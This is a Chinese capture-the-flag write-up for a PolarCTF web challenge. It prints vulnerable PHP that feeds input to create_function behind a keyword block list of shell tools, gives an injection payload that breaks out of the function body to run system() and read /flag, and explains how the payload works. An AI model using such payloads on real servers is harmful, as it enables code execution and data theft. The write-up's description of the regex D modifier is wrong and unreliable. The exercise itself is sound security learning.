考点:
匿名构造函数(create_function)
题目来源:polarctf-web-[某函数的复仇]

解题:
代码审计:
php
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>
php
正则表达式 /^[a-z_]*$/isD 讲解
^:这是一个锚点,表示匹配字符串的开始。它确保了正则表达式从字符串的最开始位置开始匹配。
[a-z_]:这是一个字符集,它匹配小写字母(a-z)和下划线(_)。在这个字符集内,任何一个字符都会被认为是有效的匹配字符。
*:这是量词,表示匹配前面的字符集零次或多次。也就是说,这个正则表达式会匹配由小写字母和下划线组成的字符串,长度可以为零(空字符串也可以匹配)。
$:这是另一个锚点,表示匹配字符串的结束。它确保了正则表达式从字符串的最末尾结束匹配。
i(修饰符):这是一个正则表达式的标志,表示忽略大小写。在这个表达式中,a-z 会匹配所有字母,无论是大写还是小写。因此,[a-z_] 会匹配字母(大小写都可以)和下划线。
s(修饰符):这个修饰符表示"dotall"模式,在这个模式下,.(点号)可以匹配换行符。虽然这个正则表达式本身并没有使用.,但如果它用于更复杂的表达式中,s标志会让dot匹配所有字符,包括换行符。
D(修饰符):这是"Unicode修饰符"的一个变种。它限制了正则表达式的匹配字符只能是单字节的字符,在一些特定的环境中,D可能会影响匹配行为,但它在普通正则表达式中并不常见。
使用动态创建匿名函数的函数create_function
解题payload:

create_function
漏洞详细解析
当create_function('', $root)
执行时,它在PHP内部实际上是这样工作的:
-
PHP会动态创建一个匿名函数,大致如下:
phpfunction anonymous() { 这里是$root的内容 }
-
当我们传入
$root = }system(%22s\ort%20/flag%22);/*
时,PHP实际生成的代码就变成了:phpfunction anonymous() { }system("s\ort /flag");/* }
-
注意看第一个
}
,它提前闭合了函数定义的大括号,使后面的代码跳出了函数体的范围 -
接着
system("s\ort /flag")
会作为独立的PHP代码执行,而不是函数体内的代码 -
最后
/*
是多行注释的开始,它注释掉了后面所有内容(包括函数定义末尾多余的}
),防止PHP解析出语法错误